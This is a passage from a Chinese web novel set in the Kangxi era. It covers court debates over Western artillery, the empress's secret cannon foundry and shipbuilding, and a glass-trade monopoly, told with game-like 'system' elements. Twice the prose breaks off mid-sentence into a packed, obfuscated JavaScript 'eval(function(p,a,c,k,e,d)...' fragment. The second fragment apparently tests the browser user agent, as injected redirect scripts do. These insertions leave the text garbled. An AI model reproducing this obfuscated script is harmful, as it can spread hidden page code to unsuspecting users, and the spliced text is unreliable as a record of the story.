“崇德八年,罗刹人越乌拉尔山;顺治十年,雅库茨克城立;如今是康熙五年,他们竟在呼玛尔河口筑堡了。”少年天子的指尖划过"呼玛尔"三字,案头的腰刀忽然出鞘半寸,寒光映着他俊秀英挺的脸。 佟国纲往前半步,石青褂子上的云纹沾着雪粒,“奴才查过旧档,顺治十五年松花江一战,巴海将军斩罗刹数百,可咱们撤兵后,那些红毛子又卷土重来——就像打不尽的野狗。”他将一份舆图铺开,黑龙江流域的河道在羊皮上蜿蜒,呼玛尔城被红笔圈成个刺眼的圆点。 葛布喇开口说道:“宁古塔的兵丁说,罗刹人用铁炮轰塌了三个渔村,把达斡尔人的孩子捆在马背上——这哪是劫掠,是想占咱们的龙兴之地。”他的指节因用力而发白,想起索额图前日与他闲谈时说的“混凝土堤坝需铜钉加固”,忽然觉得边疆的城,也该筑得像堤坝般坚固。 “游击征讨不行了。”康熙将密报拍在案上,积雪从窗棂飘落,落在"筑城永戍"四字上。“顺治九年乌扎拉之战,咱们烧了他们的船;顺治十五年松花江之战,巴海斩了哈巴罗夫的副手——可结果呢?”他看向佟国维,“你在兵部当差,该知道八旗兵从宁古塔驰援黑龙江,光赶路就要三个月。” 佟国维躬身回话:“奴才上月看了军报,罗刹的呼玛尔城用砖石砌墙,墙外还挖了三丈宽的壕沟,比咱们的驿站还结实。”他从袖中抽出图纸,上面画着罗刹人的火炮,“他们的炮射程可达三千米,咱们的红衣大炮才及一半——若不筑城屯兵,迟早被他们打到松花江。” 葛布喇摸着袖中女儿珠兰着人送来的冻疮药,忽然想起索额图跟他探讨过的"以农固边、以商养边",试探着开口:“奴才的意思,筑城不光要屯兵,还得让兵丁家属去屯田经商。就像关里种庄稼,春天播了种,秋天才有粮——边疆的城,得让军民扎下根才守得住。” 康熙再次听到说炮火不利的,蹙起眉头。转而听到葛布喇之言,他的目光亮了起来,腰刀归鞘的轻响里带着决断。 佟国维皱了皱眉,想要再说些什么,被大哥所阻拦。他不甘心低头,却见到大哥已经抬起手,只好不言语了。 “就这么办!”皇帝指着舆图上的黑龙江中游,“让巴海在呼玛尔附近选险要处筑城,用水泥钢筋混凝土砌墙,比关内的府城还要结实。”他顿了顿,声音陡然提高,“调宁古塔八旗的一半兵力驻守,再从盛京调三百门火炮——告诉罗刹人,这城筑起来,就没打算拆!” “光有城还不够。”佟国纲压制住了弟弟,咳嗽了两声,补充道,“得从宁古塔到新筑城修驿站,三十里一驿,五十里一堡,让军情能朝发夕至。”他想起当年随顺治帝狩猎时,关外的驿道有多难走,“奴才听说河道衙门管河工时,画图纸用的西式法,咱们修驿站也该如此,一步一步算清楚。” 葛布喇点头附和:“屯田的事,可让八旗子弟带家眷去。达斡尔人会种耐寒的麦,让他们教汉军旗的人——兵丁守城墙,家眷种田地,粮草自给自足,就不用总从关内调粮了。”他说着就笑了,“就像太皇太后说的,守边疆跟过日子一样,得精打细算。” 康熙望着窗外的雪,忽然觉得这策略像极了织网,“城是网眼,驿站是网线,军民是网绳——把这张网在黑龙江流域铺开,罗刹人再敢来,就别想活着回去。” 佟国纲与佟国维再次打起来眉眼官司,葛布喇这么迟钝的人都察觉到两兄弟不对头。他上前一步,遮住了皇帝的向下看的方向。 康熙此时正提笔在密报上批字,朱笔穿透纸背,“传旨巴海:来年秋收前,朕要看到呼玛尔城下的炊烟,比罗刹人的炮烟还旺!” 暖阁外的雪越下越大,覆盖了乾清宫的琉璃瓦。 三位臣子退下时,听见身后传来翻动舆图的声音——少年天子正用朱笔在黑龙江流域画着圈,那些圈点连起来,恰似一道即将铸成的钢铁防线,从呼玛尔延伸到更远的江口,将龙兴之地的温暖与安稳,牢牢护在城池之后。 这还不够,康熙此时并不像之前表现的那般信心满满。 火炮! 他心中的纠结,就如一团乱麻。 时间退回到秋雨敲打着乾清宫的窗棂时,葛布喇捧着的密信在烛火下泛着潮意。 信封上"赫舍里柯尔坤呈"的字迹力透纸背,展开时,竟飘出半片西洋火炮的草图——那是随信附上的,用羊皮纸绘就,炮身上的刻度精确到分毫。 “皇上,柯尔坤在西洋途中见到红毛夷的船炮,”葛布喇的声音带着颤,“他说,那些炮的铁比咱们的青铜还匀,炸膛的事闻所未闻。”这是新从海上传回来的信件,十分不易,集合了那条船上所有西行之人的智慧才经由商人之手,从极为靠近西极的地方传递回来。 康熙的指尖抚过草图上"失蜡法"三字,案头恰好摆着南怀仁监造的"神威将军炮"图纸。两相对比,西洋炮身的壁厚均匀如镜,而自家炮身上的沙眼、气泡根本解决不了。这是工艺的迭代问题,不是一般的小疏漏。 “咱们用泥范铸炮,十门里倒有三门炸膛,”帝王的指节捏得发白,“柯尔坤说红毛夷用模锻法,炮身能当镜子照——这差距,不是手艺,是法子。”在葛布喇面前,他不需要掩饰自己的失落。 葛布喇接口道:“就像筛沙子要分粗细,他们铸炮先提纯铁料。柯尔坤信里写,西班牙的铁纯度能到九成,咱们的生铁里尽是炉渣...” 话音未落,康熙已将信拍到案上,朱砂印泥溅在"标准化"三字上——西洋炮的口径、弹药都有定规,而自己的炮,一批红衣炮能差出五寸口径。 “最可气的是这个。”康熙指着信中"伽利略抛物线"的批注,这是西方的数算,士兵也会用。 可清军炮手凭经验瞄准,“咱们的兵丁靠手感,人家用象限仪算角度,”他忽然冷笑,“咱们百门炮齐轰才打塌一段城墙,若用这西洋炮,怕是十门就够了。” 窗外的雨更大了,打在檐角的铜铃上叮咚作响。葛布喇捧着信,看见柯尔坤写的射程对比:西洋24磅炮能打三里地,而清军最好的炮,十炮里才有一炮能到这射程。“还有火药,”他低声道,“他们的是颗粒状,咱们的是粉末——就像炒菜,人家的火匀,咱们的火忽大忽小。” 信末的炮架图让康熙沉默良久,西洋炮的轮架带着弹簧,发射后能自己复位,"一分钟能打两发";而清军的炮架是死的,每发一炮就得重新垫木楔,"三发的功夫,人家已打六发"。 更让他心惊的是柯尔坤的批注:红毛夷用马车拉重炮,咱们的重炮陷在泥里就得扔。 当初东北第一战时让罗刹跑了,就是因为炮车跟不上骑兵。 葛布喇忽然悟了,“不是咱们的工匠笨,是没想过''动''的法子。西洋炮架像河工的绞盘,能省力;咱们的炮架像庙里的石狮子,死沉。” 烛火将康熙的影子投在墙上,忽明忽暗。他抓起朱笔,却在"如何应对"四字上悬而未落。 柯尔坤在信尾写:南怀仁懂这些,可他老了;咱们的工匠学不会算术,光仿样子没用。 这话像根针,刺破了"天朝上国"的体面——原来那些被视为"奇技淫巧"的算术、力学,竟是铸炮的根基。 “传旨给火器营,”康熙的声音终于响起,带着雨打芭蕉的沉郁,“把柯尔坤这信抄十份···罢了。只先让南怀仁带着徒弟,按这图纸仿——仿不像,提头来见。” 葛布喇退下时,见信纸上的泪痕混着墨痕,分不清是雨水还是帝王的汗。他从不会质疑皇帝的决定,只要皇帝下令,无论是对还是错,他都会毫不迟疑的遵循。 窗外的雨不知何时停了,月光照进乾清宫,照见那半张西洋火炮图,在满案的奏折间,像块硌眼的石头,提醒着龙椅上的人:世界的枪炮声,已越来越近。 他一时之间思绪良多,很想找个人倾诉。葛布喇已经退出去了,他便起身,去养心殿。 彼时珠兰以为,皇帝是想要从头改良火器的。 西洋火炮的草图在烛火下泛着冷光,她摘下鬓边的东珠簪,轻戳图纸上的轮式炮架,“皇上,妾看这红毛夷的炮能跟着骑兵跑,咱们的炮却得十个人抬。 “就像松花江之战,巴海将军的铁骑都追上山了,炮车还陷在河谷里。”康熙轻笑,摸了摸那张草图,有些不舍。多好的炮啊,这么轻便。 珠兰抬头看向皇帝,预备等他与自己一起批判这笨重的火器,再说出内务府已经研究成功的西式火器的路子,这一次索额图的爵位又可以往上提一提了。 康熙的手指从草图上收回,摩挲着腰间的鲨鱼皮腰刀,那是太宗爷传下的遗物,刀鞘上的云纹被历代先帝的掌心磨得发亮。 “珠兰,”他抬眼,烛火在他瞳孔里跳动,“你可知太祖爷凭什么定鼎辽东?不是靠红衣炮,是靠八旗子弟的马快箭准。”他将腰刀往案上一放,金属碰撞声震得东珠簪轻颤,“柯尔坤的信写得天花乱坠,可他忘了,罗刹人还是败给了咱们的骑射。”他仿佛在劝说皇后,又仿佛在说服自己。 珠兰一愣,完全不知皇帝怎么突然说起来了骑射。 划过信中"伽利略弹道学"的批注,她声音软得像江南的春水,心中却有些不好的预感,“妾不是说骑射不好,只是...就像修黄河堤坝,光有夯土不够,还得掺铜钉、浇水泥。火炮与骑射,本该是皇上的左右手啊。”她提起太皇太后说的故事,“太宗爷当年不也用红衣炮轰开了锦州城?可见祖宗也懂''变则通''的道理。” “那是为了打明国!”康熙的声音陡然拔高,龙袍扫过博古架,青瓷瓶再度发出危险的嗡鸣,“如今天下已定,汉人安服,三藩、台湾不过囊中之物——若让八旗子弟都去摆弄火炮,谁还肯弯弓射雕?” 他忽然抓起案上不知何时出现的《八旗则例》,珠兰眉头一挑。这本书,是谁放在那里的。 梁九功弯着腰,这是皇上让带的。 康熙翻到了"骑射为本"的朱批,“这是祖宗定下的规矩!忘了骑射,咱们就成了没根的浮萍,比汉人还不如!”皇帝的心,在自己的言语中逐渐坚定。 珠兰望着他发红的眼眶,忽然明白这不是技术之争。帝王怕的不是火炮不如人,是怕八旗子弟丢了"尚武"的根本——那些在关内养尊处优的王爷贝勒,早已忘了关外的风雪,若再迷上"奇技淫巧",在皇帝看来,八旗一旦不中用了,这江山的根基怕是真要动摇。 所以,您老人家只是八旗的天子? “臣妾听说,三藩的铁匠已能仿西洋炮了。”珠兰换了个角度,指尖点在信中"民间私造"的字眼上,正色说道:“若朝廷不牵头造更好的炮,将来...怕是要出事。” 康熙的脸色稍缓,却仍摇了摇头,“汉人若敢私造火炮,斩立决便是。”他忽然冷笑,“柯尔坤说红毛夷的炮能打三里地,可他们能越过万里海疆来夺江山吗?真正该防的,是关内的反贼,是那些盼着咱们失势的汉人——火器这东西,攥在朝廷手里是利器,流到民间就是祸根。此刻,三藩所谓仿造,成不了大器。” 所以,您老人家只是八旗的天子! 他起身时,龙袍扫过西洋火炮的草图,将那精密的刻度压在褶皱里。“南怀仁的炮仿着这西洋炮再改良,够用了。”帝王的声音里带着不容置疑的决绝,“让火器营多练骑射,少琢磨那些花花肠子。至于西洋炮...”他忽然将信笺推回珠兰面前,“烧了吧,别让这些东西乱了八旗的心。” 珠兰默默将信笺折成方胜,看着它在烛火中蜷曲、变黑。西洋炮的轮架、弹道、颗粒火药...那些曾让她惊叹的细节,终究化作一缕青烟。 乱的是谁的心啊,皇上。 天津卫的造船厂,内务府的火炮办,得让索额图藏好了,某些东西是不能先让皇帝知晓了。 柯尔坤信尾的话如同预言:红毛夷的船正往南洋去,他们的炮,迟早要对着咱们的海岸。 但,康熙已重新握住那柄太宗爷的腰刀,刀身在月光下亮得刺眼。望着窗外的夜色,仿佛看见八旗骑兵正踏过雪原,箭簇在阳光下连成一片——那是他心中最安稳的江山图景。 养心殿的烛火渐渐微弱,映着珠兰鬓边微颤的东珠。这场关于火炮的争论,输的不是技术,是"变"的可能。而帝王紧握的腰刀与那句"骑射为本",终将在数十年后,面对真正的西洋炮火时,露出无奈的裂痕。 珠兰垂眸,“皇上说得是。”她的声音温顺得像刚熨过的绸缎,指尖轻轻拂过案上残留的火星,“八旗骑射乃立国根本,是臣妾浅薄了。” 何苦与他辩驳呢,掉亲密度就不好了。他不想做的,她来做便是了,左右就是费点功夫罢了。 珠兰的认可,令康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不是她真的威胁了皇权,不是她不够清廉,不是她不够温婉,不是她不够能干,不是他们感情出了问题,只是因为她的存在感过强,他便不可忍受了。 为了虚无缥缈的威胁,他未雨绸缪的想要卸磨杀驴了。多么可笑啊,珠兰都笑了。 是海洋之利,让他下定的决心? 东洋、南洋皆已起航,返程却在明年,利润尚未到手,他已经在考虑内务府依仗商事膨胀的后果了吗? 珠兰手中的东珠十八子冰凉,果然皇帝的心思你别猜啊。 那时的他虽不愿给宗室分利,却会听她讲"红带子嫁女无嫁妆"的窘迫。 谈及火炮,他像换了个人,腰刀的寒光里藏着她读不懂的恐惧。也许她读懂了,但是这可真可笑啊。 虽然早知他疑心重且自大无比,但此前搞钱的顺利给了珠兰一些错觉。 以后,不会了。 珠兰垂下眼帘,将烧剩的信纸残片扫走——那些关于弹道学的批注、关于颗粒火药的描述,此刻都成了触碰不得的禁忌。 系统:数据不会骗人的,别乱想了,他就是在猜忌你。这场争论,从一开始就不是技术之争,而是权力的边界之争。帝王要守住的,从来不是"骑射"本身,是那份让他安心的、对世界的掌控感。火炮如此,内务府亦如此,赫舍里也脱不开如此。 珠兰暗自颔首,案头还摆着南洋商路的账册,晋商的船即将启航,宗室的银子已入了内务府的库——这些事里,她与皇帝是最好的盟友。即便皇帝不愿向海,可他想要银子。用算盘珠子算计利益,用权力绳索捆绑人心。 可在西洋火炮的图纸前,那层盟友的默契碎了道缝。不,或许在她向他展示世界之大、利润之丰时,他就已经拿她当潜在的威胁了。 可笑的是,在皇帝背对她的时候,【亲密度】突破了70。 在他猜忌她的时候,在他忌惮她的时候,亲密涨了一大波。 一个难搞的男人,一个敏锐的皇帝。 在他们目标一致的时候,她尚且会因锋芒毕露了一点,而导致这种效果。 若是某一日,她想要的世界进程,与他的江山永固,冲撞呢? 果然,还是得自己做主,才能舒坦。 珠兰翻开前几日索额图送来的《河工纪要》,其中"刚柔并济"四字被她用朱砂圈过。 治河如此,人与人相处何尝不是? 皇帝抓钱时的果决、用晋商时的狠辣、绑宗室时的算计,全部都透着"变"的智慧,他是不屑于祖宗家法的。 可一触及皇权根本,帝王之心仍然比最坚硬的混凝土还顽固。 也许,这就是立场不同吧。 珠兰让系统重新做一套竞争性计划,她仿佛摸到了未来的轮廓——这个精明狡诈到骨子里的帝王,聪慧明智到能看清拥有火器后汉人必反的皇上,阴谋论到已经遇见未来内务府垄断海洋商路后尾大不掉的天子,若不肯放下他的骄傲与芥蒂,终将变成自己最鄙夷的"守旧者"。 西方的船,十年后会更多。那时的皇帝,还会攥着祖宗的腰刀不放吗?还会对忠心耿耿的臣子无端起疑心吗?也许只有鞭子才能打醒熟睡的他,温柔的话语没有作用。 想起那位会造火炮的传教士最近在研究数学——或许不必直言"造炮",只说"算河工土方需西洋算法",便能让皇帝慢慢松口令学堂教授算学,但也可能失败。珠兰有些不确定了,在钱财充实后的下一步,皇帝会站在哪里呢? 如果皇帝不想让新式火炮出现在他的国都,日后他就会排斥所有西学,必须早做打算了。 珠兰望着账册上的南洋航线,皇帝不肯给火炮"名分",不愿内务府独大,却不会拒绝南洋的银子。 早朝后,珠兰上班了。她交代吉雅,“请南怀仁先生来内务府,说我有''算学难题''请教。” 她的心思,藏在温顺的附和里,却从未真正熄灭。 当十月的霜气钻进索额图的衣领子,他站在养心殿廊下,“转移造办处炮作匠人”九个字嗡嗡回响。 檐角的铜铃忽然无风自响,惊得他回头——乾清宫的方向,康熙正带着佟国纲看工部新制的铁弓,笑声顺着丹陛滚下来。 索额图敢说,不出五十年,弓马将再也无法在枪炮面前逞能。从正月里穆尔哈求上门,他便开悟了,娘娘所说“绝世好剑”也许就是他们此刻研究的西洋炮。 从传教士口中,他已得知西方火炮技术,如标准化生产、弹道学理论快速发展,四弟来信也佐证了此事。他难以想象天子会因仅仅是“天朝上国”心态,便视如此重要的西方技术为“奇技淫巧”,甚至迫使主子娘娘要转移内务府中火炮生产线。 淬火工艺、焦炭工艺、高炉、车床等等技术,每一次的突破,索额图都在现场,当时众人眼含热泪欢呼之景,竟与今日之萧瑟心境,组成了一种完美的讽刺。 随着理工属性的不断提升,他甚至感觉一切阴谋诡计都没有这把“绝世好剑”重要。什么蜂窝煤、琉璃、肥皂等等,都是副产品罢了。可皇上将此等副品做圣君之业,亲自过问生产销售,却将万世之基视作洪水猛兽,恨不能永不相见。 逼得娘娘是说...连人带已经过时的镴铁、泥范全挪走,不得留丝毫痕迹。索额图的喉结滚了半圈,靴底在金砖上碾出细痕。 今日之索额图已不是去年之索额图,他感觉到了那些怀才不遇几十年的书生才有的酸涩与无奈。 他想起抄鳌拜府时,在西山密室里搜出的私造兵器,那些鸟铳甲胄此刻竟与珠兰的密令重叠,“这要是被皇上知道...” 但是,让他甘心毁掉心血之作,他已做不到了。 珠兰正用银簪挑开茶盏盖,茉莉香味漫出来。造办处的新炮样品,炮口的螺旋纹比西洋图纸还精密。只是,皇帝不会喜欢的。 “鳌拜藏兵是为反,咱们藏匠是为守。”珠兰经营许久,造办处已经全面跟她姓了,她怎么说都对。内务府造办处,从上到下都是90以上的忠心,搞点小动作罢了,很安全。 三日后的子夜,二十辆盖着油布的马车从西华门溜出。 赶车的是造办处的“哑巴”马夫,车厢里坐的是能熔铁成水的老匠,车底藏的是刚炼出的镴铁——这些“研究炮筒子的”,对外只说是“去西山烧瓦”。 索额图站在城楼上,看着车队消失在雾里。 领头的管事是他亲自选的,左手缺根小指——那是顺治年间造炮炸膛时伤的,对火器又怕又敬。可是他也是做火炮试验最积极的,自从主子娘娘把他儿子安排去了河南当掌柜的卖煤,他就根本不怕死。 上个月,匠人们就造出了能打两里地的炮,炮身匀得能照见人影。已铸十炮,试射准头胜西洋。索额图当时拿着样品想去邀功,又觉得不够完美,毕竟打不到三里地,就让匠人继续造。 没想到,这炮啊,还没呈上去,居然就被天子嫌弃了。 “放置在怀柔的旧矿洞,”他低声对身旁的心腹说,“三里外挂‘皇庄禁地’的牌子,派内务府的护军守着。”那里的佐官是赫舍里的门生,忠心有保证。至于内务府上下,自然都是娘娘的心腹。 58. 虐恋前序 时间转瞬到了十一月,听说了东北罗刹人再犯之事,珠兰微笑。转而令人传话,叫京中跑东北的掌柜注意点,罗刹人用好了,有奇效。 这帮掌柜,自我行动力太充足,常常一个不注意,他们就把生意做到天南地北去了。 朝中总有人对着葛布喇酸言酸语,说要征商税,那葛大人家里得出几辆大马车去送银子。 葛布喇从来不管家事,以为对方是在说户部马车不足,人手不够,他马上就谢过对方,连夜与幕僚讨论起相关问题。 甚至还把刚从宫里回来的索额图也拉过来出主意,索额图被他缠着直想翻白眼,示意个小厮进来,说宫里传呢,才脱身。 刚入宫,还真就传来了。 在内务府见索额图,珠兰只淡淡问了句:“琉璃瓦烧得如何?”虽然琉璃高端摆件和饰品窑被皇帝当成了摇钱树,已经被薛奋控制了起来,其他一般琉璃造物还是在内务府内开炉。 本来今年年底,她就要给紫禁城开始换玻璃窗的,也被皇帝按住了,没换成。琉璃瓦这东西,还在索额图的管理范围内。不像薛奋,已经只需向皇帝汇报工作了。 珠兰倒也无所谓,本质上薛奋用的匠人也都是她的人,除了薛奋自己,生产线的忠诚度都在90以上。 皇帝可能觉得,珠兰是用笼络管理者的方式掌控窑厂,将得用的主事调离,便可以让内务府与该产业脱钩。实际恰恰相反,索额图定然还记得,被底层工匠裹挟的滋味。 索额图:随着主子娘娘把包衣年轻人都组织起来上学,从文学到武,从外学到内,我看这上三旗包衣啊早晚也得跟那群狂热工匠一个德行了,看看新一批包衣护军的精气神儿,那是一群奴才该有的吗?! 有些时候,一段关系的建立需要摸索很久,才能找到窍门。就像起初匠人们用泥范铸炮,十门炸了九门,直到按南怀仁新写的的《铸炮纪要》改了“失蜡法”,才总算摸到门道。 但是,很多浓情蜜意,都会在猜忌和分歧中走向最终的崩解。珠兰听着索额图的回话,想的是每日晚膳后,皇帝与她讲的琉璃畅销之事,其中炫耀之意不言自明。她从没有拿这东西骗钱的急功近利之想法,但皇帝明显不这么认为。 索额图躬身回话:“火候正好,就是窑工说,得常添新煤。”皇上只想着把买卖挪走,就没想过人还是听娘娘的啊。这世上没有没来由的忠诚,也没有不懂得背叛的人,可在娘娘麾下做事的,就没一个叛徒。这拿捏人心的手段,咱索三啊,是服气了。 怀柔矿洞的烛火正映得铁壁发红,给炮管钻孔,用的是西洋的螺旋钻,三个老匠人轮着转,钻了七天七夜。新铸的西洋炮试射时,铁弹穿透了三里外的石墙,碎片溅起的烟尘里,老匠人哭了,说这辈子没造过这么“听话”的炮。 这些炮会秘密运送到天津卫,装到了造船厂的大型战舰上,预备等寿春从江苏过来提走。 珠兰手下已经形成了完整的海上军事产业链,花着内务府的钱养了一群最新式的海军出来。 两人都没提那些消失的匠人、隐秘的矿洞,就像当初索额图没提鳌拜的某一处秘密藏兵洞——有些事,知道的人越少,越安全。 有些,是留下的后路。谁让皇帝摆明了不许内务府掺和军火买卖,不然珠兰就把这些新发明共享给他了。 天津造船厂的晨雾里,两艘船正对着海河喘息。 东边那艘盖伦船扬起十二面帆,桅杆高得快戳进云里,甲板上的铜炮闪着冷光——这是按葡萄牙人捕获的西班牙船仿的,光船肋就用了三百根楠木,参考柯尔坤送来的西洋船参数改了无数草稿,堆满了半间舱房。为了跟葡萄牙人买船,珠兰手下的掌柜们可是没少砸银子疏通关系。 “上个月新船试航,从大沽口到威海卫,比漕运船快了三天。”索额图安排的亲信在密信里写,“只是掌舵的得请葡萄牙水手,咱们的人还摸不准风向。” 前几个月南边就来信了,催他们快点生产新船,江苏寿春娘子她们那头就那么三艘五艘的船用着,总被周边的海盗侵扰,要不是武力值是真高,一般海盗都知道她们是硬茬子,还真不好撑下去,现在啊等大船都等的望眼欲穿了。 那帮妮子,学的最好,武功最高,也最是记仇。等大船到手,还不得把沿海的海盗都横扫一遍。 西边那艘更怪,烟囱里冒着黑烟,轮子在水里搅出白浪——这是参考南怀仁改的汽轮船模型制造的试验船,烧的是山西运来的焦煤,推进轮总爱卡壳,却能顶着逆风走。“南教士说,再改改蒸汽机,能比帆船还快。”信里的字带着兴奋,“就是太费煤,一趟下来得烧掉二十车。” 珠兰将密信烧在炭盆里,灰烬飘起来像船的影,好像这船的造型奇特了点,怎么像是顶着四个球呢。 她想起康熙上个月还在说“海运不如漕运稳当”,天津造船厂这些人啊,像群叛逆的孩子,正偷偷长本事。 十二月,索额图去矿洞查验新炮,老匠人抹了把汗,压低声音,“前儿试了新炮弹,里头裹着铁砂,炸开能扫一片——比红毛夷的葡萄弹还厉害。炮身也缩小了一版,就是稳定性不行,只能用三次就得炸。” 天津那边也有好消息:盖伦船上那位特聘的葡萄牙水手帮着练出了“全华班”,汽轮船的推进轮换了新铁料,卡壳的次数少了一半。 珠兰:不枉费我又给这群忠诚属性极高的水手加了【语言】【逻辑】【器械】等一堆属性。至于,这些训练有素的江南口音水手是怎么来的。那就要去江苏,找翻云会寿春娘子问了。 皇帝这边也有了好消息,薛奋果然能干,短短几个月,琉璃镜子和饰品风靡整个上层社会,无论是满蒙勋贵和汉人地主,都以家中摆上内造的琉璃为荣。 乾清宫的琉璃镜正映着康熙的龙袍,镜沿裹着的金箔被烛火照得流金淌彩,最稀奇的是镜面周匝——九条金龙爪攀镜缘,龙鳞用赤釉勾勒得根根分明,龙睛嵌着鸽血红,仿佛下一瞬就要冲破镜面腾云而去;凤翅则以孔雀蓝釉点染,尾羽垂落处隐现类似珍珠母贝的虹光,与龙身的赤金交相辉映,恰如御花园里龙凤呈祥的石雕活了过来。虽然通体皆为琉璃,却比金玉宝石还要珍贵。 这是按宫中秘藏的《龙凤呈祥图》仿烧的,匠人在琉璃未冷时用细如发丝的金丝嵌入纹样,又以玛瑙刀细细打磨了三月,才让龙凤的鳞羽都透着玉般的温润。 康熙抬手抚过镜沿,金箔的凉意混着五色琉璃的暖光漫上指尖,竟分不清是镜面映着龙袍,还是龙凤正围着帝王的身影盘旋。“这面镜子,竟比同等大的和田玉还贵?” 冰凉的镜面,照见帝王的一双凤眼冷冽如冰泉。这人能把沙子烧成的琉璃,炒成了比东珠还稀罕的物件。真是个妙人啊! 这是薛奋呈的"贡品",全京城只此一面。 据说康亲王想花二万两求购一面百福纹路的,也要这样的五色立体琉璃,被内务府的太监挡了回去,原因是需要排队等着。 薛奋站在阶下,他躬身回话:“回皇上,琉璃制品耗料费工,十窑才能出一只无瑕的,实在稀少。”这话半真半假——他故意让匠人放慢进度,每月只产十只精品,连带产出的普通玩意儿更是藏着不卖,库房里堆着的存货早已够铺满半个王府。 薛奋想了想,又低声补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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账房跑来说,“大人,镶白旗的信王爷放话要包下京城全年的货!”他嘴角扬起时,却瞥见窑工们交换的眼神——那些人知道琉璃的成本。 其实他也怕,上个月有个小吏说"这琉璃成本才几钱",被他借故发配到了打牲乌拉。若非这些匠人,比他更为得娘娘看重,动不得,恼不得。 夜里总做噩梦,梦见满朝勋贵举着琉璃碎片来质问。 “等给皇上的内库赚够了钱,就请调到江南去。”薛奋摸着腰间的玉佩,那是皇上赏赐的,温润的玉质里,藏着他不敢言说的恐惧。 珠兰望着案上那面普通的玻璃镜,透亮得很,成本不过二两。 薛奋的饥饿营销像层糖衣,裹着的其实是危险的野心。 他没那么大的野心,可是皇上有啊。 珠兰派去的太监记录琉璃售卖所得,笔尖在"六百万两纯利"上顿了顿。 东风吹过火热的琉璃厂,那些闪闪发光的镜子和饰品里,映着勋贵的虚荣,映着薛奋的贪婪,也映着危机。只有库房深处堆积的普通玻璃,在黑暗里沉默着,等待着被天下人看见的那天——只是那时,信誉怕是早已碎成了渣。 到了那时,背锅的薛奋不够大,那谁能背这口黑锅呢? 珠兰临风而立,自从皇帝亲自召见薛奋操盘琉璃生意,她就在谋算后续之事。 皇帝不肯做的,就逼迫他做。否则,将来他就要来逼迫她了。 罗刹人不够,加上能切断商路的三藩与郑经,不晓得够不够。 如果,皇帝就喜欢虐恋情深的剧情,相信他一定会收到大惊喜的。 59. 第五局启 康熙五年十一月十九日,冬至,帝大祀天于圜丘,恭奉世祖章皇帝配享。 皇室通过继承汉族王朝的祭天礼制,既彰显“承天受命”的统治合法性,也通过“以祖配天”强化家族血缘与天命的绑定。 此次祭天仪式也暗含巩固皇权、凝聚朝野认同的政治意图,当然这也是皇帝将一年的功绩向上天汇报的时机。他自负天命以来,无一日不战战兢兢,自亲政以来已有圣君之贤名于民间。 康熙,认为自己干的不错! 珠兰:要这么说,我觉得应该我去祭天。 系统:我去,我去! 慈宁宫寝殿的铜漏刚滴过丑时一刻,安神香的袅袅青烟便裹挟着沉水香与龙脑的气息,悄然漫过金丝楠木床榻。 宫女们屏息凝神,以银匙舀起温热的牛乳,轻启朱漆宫盒,取出明黄色镶黑貂皮朝袍。 太皇太后在氤氲香气中缓缓转醒,岁月雕刻的眼角纹路里,沉淀着数十年的宫廷智慧。这一天天的啊,又一年冬至日了。 大宫女跪在织金妆花缎软垫上,指尖灵巧地穿梭于如墨青丝间,将满头花白发精心梳成庄重典雅的发髻。每一根发丝的梳理,都伴随着对《祈福文》的低声默诵,仿佛将虔诚的祈愿编织进这满头青丝之中。 皇帝还是没有子嗣诞生…… 东珠串就的“万年如意”发簪缓缓插入发髻,圆润的珠在烛光下流转着温润的光泽,每一颗都重达三钱,皆是产自松花江的上等珍品,乃是纳喇氏今年掌管采买后贡上的,品质比历年好上三成不止。这发簪不仅是华贵的装饰,更是身份与权力的象征,见证着宫廷中的风云变幻。 劝得皇帝拉拢宗室,分润八旗,则前朝波涛好平。可后宫却没有任何涟漪,何时才有好兆头。 因马佳氏与纳喇氏于内务府尽职之功,太皇太后已在冬至前,做主晋两人为贵人,一并赐了封号。 可皇帝与皇后,皆无动于衷,一心折腾什么商事,再能赚银子,也属实是不务正业!得找个机会,把俩人分开一段时间。太皇太后虽然不读柏拉图,却也看出这对儿帝后相处,有点不大对头。 寿康宫 太后的寝殿早已灯火通明,祭祀用的银质五谷盘被反复核对,稻、黍、稷、麦、菽五种谷物在月光下闪烁着微光,每一粒都经过严格筛选,象征着对土地与丰收的敬畏。 太后手持内务府晋上的鎏金琉璃放大镜,仔细检查盘中谷物的摆放,连最细微的瑕疵都不放过。 现在的琉璃镜子流行一体五色烧制的,这又镶金嵌玉的都被嫌弃俗气。可太后啊,她还是觉得金银宝石好,极爱这一种。 养心殿内,珠兰正端坐在嵌螺钿梳妆台前,仿佛全神贯注的审视着皇帝新令人送来的石青色八团龙纹朝服。袖口处的海水江崖纹刺绣在烛光下熠熠生辉,金线绣就的海浪仿佛要冲破绸缎,奔腾而出。 已经要拆分内务府了,还有功夫给她选衣服首饰,这就算补偿了? 南洋商事给了裕亲王福全统领,虽说收益还是归内库,却与珠兰不相干。东洋商事已令马佳氏分出子弟预备过了年就划到前朝,以此红利入国库,堵百官的嘴。再加上之前就不归珠兰亲领的高端琉璃窑,这是,分权都光明正大的搞了。 早先还一副要和六部杠到底的劲头儿,丝毫都不打算让户部占他这一国之君的便宜。可一听说内务府一年获利可能超千万,马上就变了一副面孔。 这位如果晓得西洋之利,还在南洋百倍之上,岂非要把前朝也拆分了。 若是叫他晓得世界之大,还有无数土地可与西洋一争,他会不会把八旗也拆分了。 而且他居然就直愣愣跑来和她讨论分割内务府的事儿,都不背着她就算了,还让她出主意分她自己的权柄! 实则此行为是对珠兰这样手握金手指,不惧忠诚降低之人,有利。 皇帝以为珠兰不管了,渐渐这些人就都不是皇后党了,可皇帝不懂系统的美。 手下的部门划到前朝越多,珠兰的触角延伸越远,影响力增长越快。 皇帝亲自出手,帮我布局前朝,我第五局还没开,就赢了一半啊,这就是神助攻! 但,此事必须分开看。 卸磨杀驴的本质,还在。 咱们以普通人的身份来看,此事,真没拿她当外人啊是,简直了··· 他是把她当啥啊? 